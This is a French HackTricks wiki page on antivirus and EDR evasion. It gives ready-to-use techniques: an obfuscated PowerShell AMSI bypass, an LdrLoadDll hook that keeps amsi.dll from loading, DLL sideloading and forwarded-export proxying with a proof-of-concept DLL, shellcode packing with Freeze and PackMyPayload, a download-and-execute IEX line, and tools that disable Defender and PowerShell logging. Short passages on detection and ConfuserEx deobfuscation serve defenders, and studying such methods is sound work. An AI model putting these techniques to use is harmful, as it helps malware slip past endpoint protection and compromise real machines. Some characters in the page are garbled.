Antivirus (AV) Bypass
Reading time: 42 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Cette page a été écrite par @m2rc_p!
ArrĂȘter Defender
- defendnot : Un outil pour empĂȘcher Windows Defender de fonctionner.
- no-defender : Un outil pour empĂȘcher Windows Defender de fonctionner en simulant un autre AV.
- DĂ©sactiver Defender si vous ĂȘtes admin
AV Evasion Methodology
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non : static detection, dynamic analysis, et pour les EDR plus avancés, behavioural analysis.
Static detection
Static detection s'obtient en marquant des chaĂźnes connues malveillantes ou des tableaux d'octets dans un binaire ou un script, et aussi en extrayant des informations depuis le fichier luiâmĂȘme (par ex. file description, company name, digital signatures, icon, checksum, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire dĂ©tecter plus facilement, car ils ont probablement Ă©tĂ© analysĂ©s et marquĂ©s comme malveillants. Il existe plusieurs façons de contourner ce type de dĂ©tection :
- Encryption
Si vous chiffrez le binaire, il n'y aura aucun moyen pour l'AV de détecter votre programme, mais vous aurez besoin d'un loader pour déchiffrer et exécuter le programme en mémoire.
- Obfuscation
Parfois, il suffit de modifier quelques chaĂźnes dans votre binaire ou script pour passer l'AV, mais cela peut ĂȘtre une tĂąche chronophage selon ce que vous essayez d'obfusquer.
- Custom tooling
Si vous développez vos propres outils, il n'y aura pas de signatures connues comme malveillantes, mais cela demande beaucoup de temps et d'efforts.
tip
Un bon moyen pour vérifier la détection statique par Windows Defender est ThreatCheck. Il divise essentiellement le fichier en plusieurs segments puis demande à Defender de scanner chacun d'eux individuellement ; de cette façon, il peut vous dire exactement quelles chaßnes ou quels octets sont signalés dans votre binaire.
Je vous recommande vivement de consulter cette playlist YouTube sur l'AV Evasion pratique.
Dynamic analysis
Dynamic analysis consiste Ă exĂ©cuter votre binaire dans un sandbox et Ă surveiller les activitĂ©s malveillantes (par ex. tenter de dĂ©chiffrer et lire les mots de passe du navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut ĂȘtre un peu plus dĂ©licate, mais voici quelques techniques pour Ă©chapper aux sandboxes.
- Sleep before execution Selon la maniÚre dont c'est implémenté, c'est un excellent moyen de contourner la dynamic analysis des AV. Les AV ont un temps trÚs court pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longs sleeps peut perturber l'analyse des binaires. Le problÚme est que de nombreux sandboxes d'AV peuvent simplement sauter le sleep selon leur implémentation.
- Checking machine's resources Habituellement, les sandboxes disposent de trĂšs peu de ressources (par ex. < 2GB RAM), sinon elles pourraient ralentir la machine de l'utilisateur. Vous pouvez aussi faire preuve de crĂ©ativitĂ© ici, par exemple en vĂ©rifiant la tempĂ©rature du CPU ou mĂȘme la vitesse des ventilateurs ; tout n'est pas implĂ©mentĂ© dans le sandbox.
- Machine-specific checks Si vous voulez cibler un utilisateur dont la workstation est jointe au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié ; si ce n'est pas le cas, vous pouvez faire en sorte que votre programme se termine.
Il se trouve que le nom d'ordinateur du Sandbox de Microsoft Defender est HAL9TH ; vous pouvez donc vĂ©rifier le nom de l'ordinateur dans votre malware avant la dĂ©tonation ; si le nom correspond Ă HAL9TH, cela signifie que vous ĂȘtes dans le sandbox de defender, et vous pouvez faire en sorte que votre programme se termine.
.png)
Quelques autres trĂšs bons conseils de @mgeeky pour lutter contre les Sandboxes
.png)
Red Team VX Discord canal #malware-dev
Comme nous l'avons dit plus haut dans ce post, les outils publics finiront par ĂȘtre dĂ©tectĂ©s, donc vous devriez vous poser la question suivante :
Par exemple, si vous voulez dumper LSASS, avezâvous vraiment besoin d'utiliser mimikatz ? Ou pourriezâvous utiliser un autre projet moins connu qui dumpe aussi LSASS.
La bonne réponse est probablement la seconde. En prenant mimikatz comme exemple, c'est probablement l'un des, sinon le plus détecté par les AVs et EDRs ; bien que le projet soit super cool, c'est aussi un cauchemar pour contourner les AVs, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
tip
Lorsque vous modifiez vos payloads pour l'Ă©vasion, assurezâvous de dĂ©sactiver la soumission automatique d'Ă©chantillons dans defender, et s'il vous plaĂźt, sĂ©rieusement, NE PAS UPLOADER SUR VIRUSTOTAL si votre objectif est d'obtenir l'Ă©vasion sur le long terme. Si vous voulez vĂ©rifier si votre payload est dĂ©tectĂ© par un AV particulier, installezâle sur une VM, essayez de dĂ©sactiver la soumission automatique d'Ă©chantillons, et testezây jusqu'Ă ce que vous soyez satisfait du rĂ©sultat.
EXEs vs DLLs
Chaque fois que c'est possible, privilĂ©giez toujours l'utilisation de DLLs pour l'Ă©vasion ; d'aprĂšs mon expĂ©rience, les fichiers DLL sont gĂ©nĂ©ralement bien moins dĂ©tectĂ©s et analysĂ©s, c'est donc une astuce trĂšs simple Ă utiliser pour Ă©viter la dĂ©tection dans certains cas (si votre payload a bien sĂ»r un moyen d'ĂȘtre exĂ©cutĂ© en tant que DLL).
Comme nous pouvons le voir sur cette image, un DLL Payload de Havoc a un taux de détection de 4/26 sur antiscan.me, tandis que le payload EXE a un taux de détection de 7/26.
.png)
antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL
Nous allons maintenant montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour ĂȘtre beaucoup plus furtif.
DLL Sideloading & Proxying
DLL Sideloading tire parti de l'ordre de recherche des DLL utilisé par le loader en positionnant l'application victime et le(s) payload(s) malveillant(s) cÎte à cÎte.
Vous pouvez rechercher des programmes susceptibles au DLL Sideloading en utilisant Siofra et le script powershell suivant :
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
Cette commande affichera la liste des programmes susceptibles de DLL hijacking dans "C:\Program Files\" et les fichiers DLL qu'ils tentent de charger.
Je vous recommande vivement d'explorer vous-mĂȘme les programmes DLL Hijackable/Sideloadable, cette technique est assez discrĂšte si elle est bien exĂ©cutĂ©e, mais si vous utilisez des programmes DLL Sideloadable connus publiquement, vous pouvez facilement vous faire attraper.
Le simple fait de placer une DLL malveillante portant le nom qu'un programme s'attend à charger ne suffira pas à exécuter votre payload, car le programme attend certaines fonctions spécifiques dans cette DLL. Pour résoudre ce problÚme, nous utiliserons une autre technique appelée DLL Proxying/Forwarding.
DLL Proxying redirige les appels qu'un programme effectue depuis la DLL proxy (et malveillante) vers la DLL originale, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre payload.
J'utiliserai le projet SharpDLLProxy de @flangvik
Voici les étapes que j'ai suivies:
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
La derniÚre commande nous fournira 2 fichiers : un modÚle de code source de DLL et la DLL originale renommée.


Notre shellcode (encodé avec SGN) et le proxy DLL affichent tous les deux un taux de détection de 0/26 sur antiscan.me ! J'appellerais cela un succÚs.
.png)
tip
Je recommande vivement de regarder S3cur3Th1sSh1t's twitch VOD sur DLL Sideloading et aussi ippsec's video pour en apprendre davantage sur ce que nous avons abordé plus en profondeur.
Abuser des exports forwardés (ForwardSideLoading)
Les modules Windows PE peuvent exporter des fonctions qui sont en réalité des "forwarders" : au lieu de pointer vers du code, l'entrée d'export contient une chaßne ASCII de la forme TargetDll.TargetFunc
. Lorsqu'un appelant résout l'export, le loader Windows va :
- Charger
TargetDll
si ce n'est pas déjà chargé - Résoudre
TargetFunc
au sein de celui-ci
Comportements clés à comprendre :
- Si
TargetDll
est une KnownDLL, elle est fournie depuis l'espace de noms protégé des KnownDLLs (ex. : ntdll, kernelbase, ole32). - Si
TargetDll
n'est pas une KnownDLL, l'ordre de recherche standard des DLL est utilisé, qui inclut le répertoire du module effectuant la résolution du forward.
Cela permet une primitive de sideloading indirecte : trouvez une DLL signĂ©e qui exporte une fonction forwardĂ©e vers un nom de module non-KnownDLL, puis placez cette DLL signĂ©e dans le mĂȘme rĂ©pertoire qu'une DLL contrĂŽlĂ©e par l'attaquant portant exactement le nom du module cible forwardĂ©. Lorsque l'export forwardĂ© est invoquĂ©, le loader rĂ©sout le forward et charge votre DLL depuis le mĂȘme rĂ©pertoire, exĂ©cutant votre DllMain.
Exemple observé sous Windows 11 :
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
NCRYPTPROV.dll
n'est pas un KnownDLL, donc il est résolu selon l'ordre de recherche normal.
PoC (copier-coller) : 1) Copier la DLL systÚme signée dans un dossier accessible en écriture
copy C:\Windows\System32\keyiso.dll C:\test\
- Déposez un
NCRYPTPROV.dll
malveillant dans le mĂȘme dossier. Un DllMain minimal suffit pour obtenir l'exĂ©cution de code ; vous n'avez pas besoin d'implĂ©menter la fonction transfĂ©rĂ©e pour dĂ©clencher DllMain.
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
if (reason == DLL_PROCESS_ATTACH){
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
}
return TRUE;
}
- Déclencher le transfert avec un LOLBin signé :
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
Comportement observé:
- rundll32 (signed) charge la side-by-side
keyiso.dll
(signed) - Lors de la résolution de
KeyIsoSetAuditingInterface
, le chargeur suit le forward versNCRYPTPROV.SetAuditingInterface
- Le chargeur charge ensuite
NCRYPTPROV.dll
depuisC:\test
et exécute sonDllMain
- Si
SetAuditingInterface
n'est pas implémentée, vous obtiendrez une erreur "missing API" seulement aprÚs queDllMain
a déjà été exécuté
Hunting tips:
- Concentrez-vous sur les exports forwardés dont le module cible n'est pas un KnownDLL. KnownDLLs sont listées sous
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
. - Vous pouvez énumérer les exports forwardés avec des outils tels que:
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
- Voir l'inventaire des forwarders Windows 11 pour rechercher des candidats: https://hexacorn.com/d/apis_fwd.txt
Idées de détection/défense :
- Surveiller les LOLBins (par ex., rundll32.exe) qui chargent des signed DLLs depuis des non-system paths, puis chargent des non-KnownDLLs portant le mĂȘme nom de base depuis ce rĂ©pertoire
- Alerter sur des chaĂźnes process/module comme :
rundll32.exe
â non-systemkeyiso.dll
âNCRYPTPROV.dll
dans des user-writable paths - Appliquer des politiques d'intégrité du code (WDAC/AppLocker) et refuser write+execute dans les répertoires d'application
Freeze
Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods
Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de maniÚre furtive.
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

tip
Evasion n'est qu'un jeu du chat et de la souris : ce qui fonctionne aujourd'hui peut ĂȘtre dĂ©tectĂ© demain, ne comptez donc jamais sur un seul outil ; si possible, essayez de chaĂźner plusieurs evasion techniques.
AMSI (Anti-Malware Scan Interface)
AMSI a Ă©tĂ© créé pour empĂȘcher les "fileless malware". Ă l'origine, les AVs ne pouvaient scanner que les fichiers sur le disque ; donc si vous pouviez exĂ©cuter des payloads directement in-memory, l'AV ne pouvait rien faire pour l'empĂȘcher, car il n'avait pas suffisamment de visibilitĂ©.
La fonctionnalité AMSI est intégrée dans ces composants de Windows.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu des scripts sous une forme non chiffrée et non obfusquée.
Running IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
will produce the following alert on Windows Defender.
.png)
Remarquez qu'il préfixe par amsi:
puis le chemin vers l'exécutable depuis lequel le script a été lancé, ici powershell.exe
Nous n'avons dĂ©posĂ© aucun fichier sur le disque, mais avons tout de mĂȘme Ă©tĂ© dĂ©tectĂ©s in-memory Ă cause d'AMSI.
De plus, Ă partir de .NET 4.8, le code C# passe lui aussi par AMSI. Cela affecte mĂȘme Assembly.Load(byte[])
pour le chargement/exécution in-memory. C'est pourquoi il est recommandé d'utiliser des versions plus anciennes de .NET (comme 4.7.2 ou inférieures) pour l'exécution in-memory si vous voulez échapper à AMSI.
Il existe plusieurs façons de contourner AMSI :
- Obfuscation
Ătant donnĂ© qu'AMSI fonctionne principalement avec des dĂ©tections statiques, modifier les scripts que vous tentez de charger peut ĂȘtre un bon moyen d'Ă©chapper Ă la dĂ©tection.
Cependant, AMSI est capable de dĂ©obfusquer les scripts mĂȘme s'ils ont plusieurs couches d'obfuscation, donc l'obfuscation peut ĂȘtre une mauvaise option selon la maniĂšre dont elle est rĂ©alisĂ©e. Cela rend l'Ă©vasion moins simple. Parfois, il suffit de changer quelques noms de variables pour passer, donc tout dĂ©pend du niveau d'alerte.
- AMSI Bypass
Comme AMSI est implĂ©mentĂ© en chargeant une DLL dans le processus powershell (ainsi que cscript.exe, wscript.exe, etc.), il est possible d'y toucher facilement mĂȘme en tant qu'utilisateur non privilĂ©giĂ©. En raison de ce dĂ©faut d'implĂ©mentation, des chercheurs ont trouvĂ© plusieurs façons d'Ă©chapper au scan AMSI.
Forcing an Error
Forcer l'Ă©chec de l'initialisation d'AMSI (amsiInitFailed) fera en sorte qu'aucun scan ne soit lancĂ© pour le processus courant. Cela a Ă©tĂ© initialement divulguĂ© par Matt Graeber et Microsoft a dĂ©veloppĂ© une signature pour empĂȘcher une utilisation plus large.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Il a suffi d'une seule ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell en cours. Cette ligne a bien sĂ»r Ă©tĂ© dĂ©tectĂ©e par AMSI lui-mĂȘme, donc une modification est nĂ©cessaire pour pouvoir utiliser cette technique.
Voici un AMSI bypass modifié que j'ai pris depuis ce Github Gist.
Try{#Ams1 bypass technic nÂș 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.MĂÂŁnĂÂŁg' + 'e@+nt.Auto@' + 'ĂÂŁtion.A' -join ''
$fdx = '@ms' + 'ĂÂŁInĂÂŁ' + 'tF@ĂÂŁ' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('ĂÂŁ','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('ĂÂŁ','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Memory Patching
Cette technique a été initialement découverte par @RastaMouse et consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions renvoyant le code E_INVALIDARG ; de cette façon, le résultat de l'analyse renverra 0, interprété comme un résultat propre.
tip
Please read https://rastamouse.me/memory-patching-amsi-bypass/ for a more detailed explanation.
Il existe aussi de nombreuses autres techniques utilisées pour bypasser AMSI avec powershell, consultez cette page et ce dépÎt pour en apprendre davantage.
Blocage d'AMSI en empĂȘchant le chargement de amsi.dll (LdrLoadDll hook)
AMSI n'est initialisé qu'aprÚs que amsi.dll
a Ă©tĂ© chargĂ© dans le processus courant. Un contournement robuste et indĂ©pendant du langage consiste Ă placer un userâmode hook sur ntdll!LdrLoadDll
qui renvoie une erreur lorsque le module demandé est amsi.dll
. En conséquence, AMSI ne se charge jamais et aucune analyse n'est effectuée pour ce processus.
Implementation outline (x64 C/C++ pseudocode):
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found â AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}
void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14âbyte jmp thunk
}
Remarques
- Fonctionne avec PowerShell, WScript/CScript et des loaders personnalisés (tout ce qui chargerait autrement AMSI).
- Associez Ă l'envoi de scripts via stdin (
PowerShell.exe -NoProfile -NonInteractive -Command -
) pour éviter les artefacts de ligne de commande trop longs. - Observé utilisé par des loaders exécutés via des LOLBins (par ex.,
regsvr32
appelantDllRegisterServer
).
This tools https://github.com/Flangvik/AMSI.fail also generates script to bypass AMSI.
Supprimer la signature détectée
Vous pouvez utiliser un outil tel que https://github.com/cobbr/PSAmsi et https://github.com/RythmStick/AMSITrigger pour supprimer la signature AMSI détectée de la mémoire du processus courant. Cet outil fonctionne en scannant la mémoire du processus courant à la recherche de la signature AMSI puis en l'écrasant avec des instructions NOP, la supprimant effectivement de la mémoire.
Produits AV/EDR qui utilisent AMSI
Vous pouvez trouver une liste des produits AV/EDR qui utilisent AMSI dans https://github.com/subat0mik/whoamsi.
Utiliser PowerShell version 2 Si vous utilisez PowerShell version 2, AMSI ne sera pas chargé, vous pouvez donc exécuter vos scripts sans qu'AMSI les scanne. Vous pouvez procéder ainsi :
powershell.exe -version 2
Journalisation PowerShell
La journalisation PowerShell est une fonctionnalitĂ© qui permet d'enregistrer toutes les commandes PowerShell exĂ©cutĂ©es sur un systĂšme. Cela peut ĂȘtre utile pour l'audit et le dĂ©pannage, mais cela peut aussi ĂȘtre un problĂšme pour les attaquants qui veulent Ă©chapper Ă la dĂ©tection.
Pour contourner la journalisation PowerShell, vous pouvez utiliser les techniques suivantes :
- Désactiver PowerShell Transcription et Module Logging : vous pouvez utiliser un outil tel que https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs à cet effet.
- Utiliser PowerShell version 2 : si vous utilisez PowerShell version 2, AMSI ne sera pas chargĂ©, vous pouvez donc exĂ©cuter vos scripts sans ĂȘtre scannĂ©s par AMSI. Vous pouvez faire ceci :
powershell.exe -version 2
- Utiliser une session PowerShell non gérée : utilisez https://github.com/leechristensen/UnmanagedPowerShell pour lancer un powershell sans défenses (c'est ce que
powerpick
from Cobal Strike utilise).
Obfuscation
tip
Plusieurs techniques d'obfuscation reposent sur le chiffrement des donnĂ©es, ce qui augmentera l'entropie du binaire et facilitera la dĂ©tection par les AVs et EDRs. Faites attention Ă cela et n'appliquez Ă©ventuellement le chiffrement qu'Ă des sections spĂ©cifiques de votre code qui sont sensibles ou doivent ĂȘtre cachĂ©es.
Déobfuscation des binaires .NET protégés par ConfuserEx
Lors de l'analyse de malware qui utilise ConfuserEx 2 (ou des forks commerciaux), il est courant de rencontrer plusieurs couches de protection qui bloqueront les dĂ©compilateurs et les sandboxes. Le flux de travail ci-dessous restaure de maniĂšre fiable un IL proche de l'original qui peut ensuite ĂȘtre dĂ©compilĂ© en C# avec des outils tels que dnSpy ou ILSpy.
- Suppression de l'anti-tampering â ConfuserEx chiffre chaque method body et le dĂ©chiffre dans le constructeur statique du module (
<Module>.cctor
). Cela modifie aussi le checksum du PE de sorte que toute modification fera planter le binaire. Utilisez AntiTamperKiller pour localiser les tables de métadonnées chiffrées, récupérer les clés XOR et réécrire un assembly propre :
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
La sortie contient les 6 paramĂštres anti-tamper (key0-key3
, nameHash
, internKey
) qui peuvent ĂȘtre utiles lors de la construction de votre propre unpacker.
- Restauration des symboles / du contrĂŽle de flux â passez le fichier clean Ă de4dot-cex (un fork de de4dot compatible ConfuserEx).
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
Flags :
âą -p crx
â sĂ©lectionner le profil ConfuserEx 2
⹠de4dot annulera le control-flow flattening, restaurera les namespaces, classes et noms de variables originaux et déchiffrera les chaßnes constantes.
- Suppression des proxy-calls â ConfuserEx remplace les appels directs de mĂ©thode par des wrappers lĂ©gers (a.k.a proxy calls) pour compliquer davantage la dĂ©compilation. Supprimez-les avec ProxyCall-Remover :
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
AprÚs cette étape vous devriez observer des API .NET normales telles que Convert.FromBase64String
ou AES.Create()
au lieu de fonctions wrapper opaques (Class8.smethod_10
, âŠ).
- Nettoyage manuel â exĂ©cutez le binaire rĂ©sultant sous dnSpy, cherchez de gros blobs Base64 ou l'utilisation de
RijndaelManaged
/TripleDESCryptoServiceProvider
pour localiser le vrai payload. Souvent le malware le stocke comme un tableau d'octets encodé TLV initialisé dans<Module>.byte_0
.
La chaĂźne ci-dessus restaure le flux d'exĂ©cution sans nĂ©cessiter d'exĂ©cuter l'Ă©chantillon malveillant â utile quand on travaille sur une station hors ligne.
đ ConfuserEx produit un attribut personnalisĂ© nommĂ©
ConfusedByAttribute
qui peut ĂȘtre utilisĂ© comme IOC pour trier automatiquement les samples.
One-liner
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
- InvisibilityCloak: Obfuscateur C#
- Obfuscator-LLVM: L'objectif de ce projet est de fournir un fork open-source de la suite de compilation LLVM capable d'améliorer la sécurité logicielle via la code obfuscation et le tamper-proofing.
- ADVobfuscator: ADVobfuscator démontre comment utiliser le langage
C++11/14
pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur. - obfy: Ajoute une couche d'opérations obfusquées générées par le framework de métaprogrammation de templates C++ qui rendra la tùche de la personne souhaitant craquer l'application un peu plus difficile.
- Alcatraz: Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE incluant : .exe, .dll, .sys
- metame: Metame est un moteur de code metamorphique simple pour exécutables arbitraires.
- ropfuscator: ROPfuscator est un framework d'obfuscation de code fin pour les langages supportés par LLVM utilisant ROP (return-oriented programming). ROPfuscator obfusque un programme au niveau du code assembleur en transformant des instructions réguliÚres en chaßnes ROP, contrecarrant notre conception naturelle du flux de contrÎle.
- Nimcrypt: Nimcrypt est un crypter .NET PE écrit en Nim
- inceptor: Inceptor est capable de convertir des EXE/DLL existants en shellcode puis de les charger
SmartScreen & MoTW
Vous avez peutâĂȘtre vu cet Ă©cran en tĂ©lĂ©chargeant certains exĂ©cutables depuis Internet et en les exĂ©cutant.
Microsoft Defender SmartScreen est un mécanisme de sécurité conçu pour protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes.
.png)
SmartScreen fonctionne principalement selon une approche basĂ©e sur la rĂ©putation, ce qui signifie que les applications peu tĂ©lĂ©chargĂ©es dĂ©clencheront SmartScreen, alertant et empĂȘchant l'utilisateur final d'exĂ©cuter le fichier (bien que le fichier puisse toujours ĂȘtre exĂ©cutĂ© en cliquant sur More Info -> Run anyway).
MoTW (Mark of The Web) is an NTFS Alternate Data Stream with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
.png)
Vérification du Zone.Identifier ADS pour un fichier téléchargé depuis Internet.
tip
Il est important de noter que les exécutables signés avec un certificat de signature de confiance ne déclencheront pas SmartScreen.
Une mĂ©thode trĂšs efficace pour empĂȘcher que vos payloads obtiennent le Mark of The Web est de les empaqueter Ă l'intĂ©rieur d'une sorte de conteneur comme une ISO. Cela s'explique par le fait que le Mark-of-the-Web (MOTW) ne peut pas ĂȘtre appliquĂ© aux volumes non NTFS.
.png)
PackMyPayload est un outil qui emballe des payloads dans des conteneurs de sortie pour échapper au Mark-of-the-Web.
Example usage:
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

ETW
Event Tracing for Windows (ETW) est un mĂ©canisme de journalisation puissant dans Windows qui permet aux applications et composants systĂšme de consigner des Ă©vĂ©nements. Cependant, il peut aussi ĂȘtre utilisĂ© par les produits de sĂ©curitĂ© pour surveiller et dĂ©tecter des activitĂ©s malveillantes.
De la mĂȘme maniĂšre qu'AMSI peut ĂȘtre dĂ©sactivĂ© (contournĂ©), il est aussi possible de faire en sorte que la fonction EtwEventWrite
du processus en espace utilisateur retourne immédiatement sans consigner d'événements. Cela se fait en patchant la fonction en mémoire pour qu'elle retourne immédiatement, désactivant ainsi la journalisation ETW pour ce processus.
Vous pouvez trouver plus d'infos dans https://blog.xpnsec.com/hiding-your-dotnet-etw/ and https://github.com/repnz/etw-providers-docs/.
C# Assembly Reflection
Le chargement de binaires C# en mĂ©moire est connu depuis un certain temps et reste un excellent moyen d'exĂ©cuter vos outils post-exploitation sans ĂȘtre dĂ©tectĂ© par AV.
Puisque le payload sera chargé directement en mémoire sans toucher le disque, il faudra seulement s'occuper de patcher AMSI pour l'ensemble du processus.
La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblies C# directement en mémoire, mais il existe différentes façons de procéder :
- Fork&Run
Cela implique de lancer un nouveau processus sacrificiel, d'injecter votre code malveillant post-exploitation dans ce nouveau processus, d'exĂ©cuter votre code malveillant et, une fois terminĂ©, de tuer le nouveau processus. Cela prĂ©sente des avantages et des inconvĂ©nients. L'avantage de la mĂ©thode fork and run est que l'exĂ©cution a lieu en dehors du processus de notre implant Beacon. Cela signifie que si une action post-exploitation tourne mal ou est dĂ©tectĂ©e, il y a une bien meilleure chance que notre implant survive. L'inconvĂ©nient est que vous avez une plus grande probabilitĂ© d'ĂȘtre dĂ©tectĂ© par des Behavioural Detections.
.png)
- Inline
Il s'agit d'injecter le code malveillant post-exploitation dans son propre processus. De cette façon, vous évitez de créer un nouveau processus et qu'il soit scanné par l'AV, mais l'inconvénient est que si l'exécution de votre payload tourne mal, il y a une bien plus grande probabilité de perdre votre beacon, car il pourrait planter.
.png)
tip
Si vous souhaitez en savoir plus sur le chargement d'assemblies C#, consultez cet article https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ et leur InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
Vous pouvez aussi charger des C# Assemblies depuis PowerShell, regardez Invoke-SharpLoader et la vidéo de S3cur3th1sSh1t.
Using Other Programming Languages
Comme proposé dans https://github.com/deeexcee-io/LOI-Bins, il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise l'accÚs à l'environnement de l'interpréteur installé sur le SMB share contrÎlé par l'attaquant.
En permettant l'accÚs aux Interpreter Binaries et à l'environnement sur le SMB share, vous pouvez exécuter du code arbitraire dans ces langages en mémoire sur la machine compromise.
Le repo indique : Defender scanne toujours les scripts mais en utilisant Go, Java, PHP, etc. nous avons plus de flexibilité pour contourner les signatures statiques. Des tests avec des reverse shell scripts non obfusqués aléatoires dans ces langages se sont avérés fructueux.
TokenStomping
